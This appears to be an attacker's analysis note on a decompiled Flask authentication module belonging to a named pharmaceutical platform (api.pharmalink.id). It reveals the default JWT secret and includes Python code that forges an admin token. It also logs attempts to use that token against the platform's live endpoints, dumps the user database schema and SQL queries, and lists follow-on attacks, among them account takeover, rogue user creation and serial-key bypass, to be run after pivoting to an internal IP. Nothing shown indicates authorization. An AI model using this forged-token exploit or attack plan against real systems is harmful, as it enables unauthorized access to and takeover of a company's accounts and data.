# auth_users.pyc Deep Analysis — JWT & Auth Flow
# Date: 2026-09-21

## CRITICAL FINDING: JWT Secret Key

The JWT secret key is the **DEFAULT VALUE**: `"your-secret-key"`

This was found in:
- `functions/auth_users.pyc` → `userLogin()` function
- `functions/auth_users.pyc` → `funcCheckTokenUser()` function

### Login Flow (reconstructed from bytecode)

```python
# userLogin(username, password, deviceid)
user = GetUserLogin(username)  # SQL: SELECT user_id, role_id, is_active, username, user_password, nip, user_fullname, company_id FROM users WHERE userName = %s

if CheckPassword(password, user['user_password']):  # bcrypt.checkpw
    # Generate JWT
    payload = {
        'user_id': user['user_id'],
        'role_id': user['role_id'],
        'username': username,
        'company_id': user['company_id']
    }
    token = jwt.encode(payload, 'your-secret-key', algorithm='HS256')
    return {'Token': 'Bearer ' + token}
```

### Password Storage
- bcrypt hashpw/gensalt — passwords are bcrypt hashed
- EncryptPassword(): `bcrypt.hashpw(password.encode('utf8'), bcrypt.gensalt())`
- CheckPassword(): `bcrypt.checkpw(password.encode('utf8'), stored_hash)`

### JWT Verification (funcCheckTokenUser)

```python
token = token.replace('Bearer ', '')
data = jwt.decode(token, 'your-secret-key', algorithms=['HS256'])
userid = data.get('user_id')
users = UserSelectByUserId(userid)  # SELECT user_id, user_fullname, role_id, is_active, username, nip FROM users WHERE user_id = %s
if len(users) > 0 and users[0]['is_active'].lower() == 'y':
    return True
```

## FORGED JWT TEST

### Token Generated

```python
import jwt
payload = {
    'user_id': 'U00001',
    'role_id': 1,
    'username': 'admin',
    'is_active': 'y',
    'company_id': 'CO00001',
    'exp': int(time.time()) + 86400
}
token = jwt.encode(payload, 'your-secret-key', algorithm='HS256')
```

### Test Results

| Target | Endpoint | Status | Result |
|--------|----------|--------|--------|
| api.pharmalink.id/b2b | GET /b2b | 401 | Unauthorized |
| api.pharmalink.id/b2b | GET /b2b/login | 401 | Unauthorized |
| api.pharmalink.id/b2b | GET /b2b/auth | 401 | Unauthorized |
| staging-api-inno | enc + JWT | 404 | Flask not running |
| api-inno | enc + JWT | 404 | Flask not running |

### Why 401 on api.pharmalink.id/b2b

The `/b2b` API is a **Go/Gin application** (different from the Flask backend).
It uses a **different auth mechanism** — likely API key or OAuth token, not JWT.
The Flask JWT (`your-secret-key`) is only valid for the Flask backend which is
not deployed on the external IP.

## Complete SQL Schema (from datas/auth_users.pyc)

### Tables

| Table | Columns | Purpose |
|-------|---------|---------|
| **users** | user_id, user_fullname, role_id, is_active, username, nip, email, user_password, phone_number, company_id, email_verified_at, remember_token, change_password_yn, terms_conditions_yn, created_at, created_by, updated_at, updated_by | User accounts |
| **roles** | role_id, role_name, need_check_factory, created_at, created_by, updated_at, updated_by | Role definitions |
| **user_factory** | user_id, factory_id, created_at, created_by, updated_at, updated_by | User-factory mapping |
| **role_modules** | role_id, module_name, created_at, created_by, updated_at, updated_by | Role-module mapping |
| **modules** | module_name, created_at, created_by, updated_at, updated_by | Module definitions |
| **factories** | factory_id, classification_id, factory_name, company_id, start_opr_date, end_opr_date | Factory registry |
| **factory_classifications** | classification_id, classification_name | Factory types |
| **factory_setting** | factory_id, server_mac_addr | Device MAC binding |
| **company_serial_key** | company_id, device_id, serial_key | Device serial validation |

### Key SQL Queries

**Login:**
```sql
SELECT user_id, role_id, is_active, username, user_password, nip, user_fullname, company_id
FROM users WHERE userName = %s
```

**User list:**
```sql
SELECT user_id, user_fullname, company_id, role_id, is_active, username, nip, email,
       email_verified_at, user_password, remember_token, created_at, created_by, updated_at, updated_by
FROM users WHERE (company_id = %s) AND (user_id LIKE '%%keyword%%' OR ...)
```

**New user ID:**
```sql
SELECT CONCAT('U', LPAD(IFNULL(MAX(CAST(SUBSTRING(user_id, 2) AS UNSIGNED)), 0) + 1, 5, '0')) AS NewID FROM users;
```

**New role ID:**
```sql
SELECT CONCAT('R', LPAD(IFNULL(MAX(CAST(SUBSTRING(role_id, 2) AS UNSIGNED)), 0) + 1, 5, '0')) AS NewID FROM roles;
```

**Access list:**
```sql
SELECT role_id, module_name FROM role_modules WHERE role_id IN (SELECT role_id FROM users WHERE user_id = %s)
```

## Attack Surface (if internal pivot achieved)

With JWT secret `"your-secret-key"` and internal access to Flask backend on 10.0.55.127:8080:

1. **Forge JWT for any user** — admin (role_id=1, user_id=U00001)
2. **Full user enumeration** — GET /manufacture-be/getusers?company_id=CO00001
3. **User creation** — POST /manufacture-be/register (any role, any company)
4. **Password change** — POST /manufacture-be/changepassword (any user)
5. **Role management** — create/edit/delete roles with any module access
6. **Factory control** — factory setting, serial key validation bypass
7. **Device registration** — company_serial_key manipulation
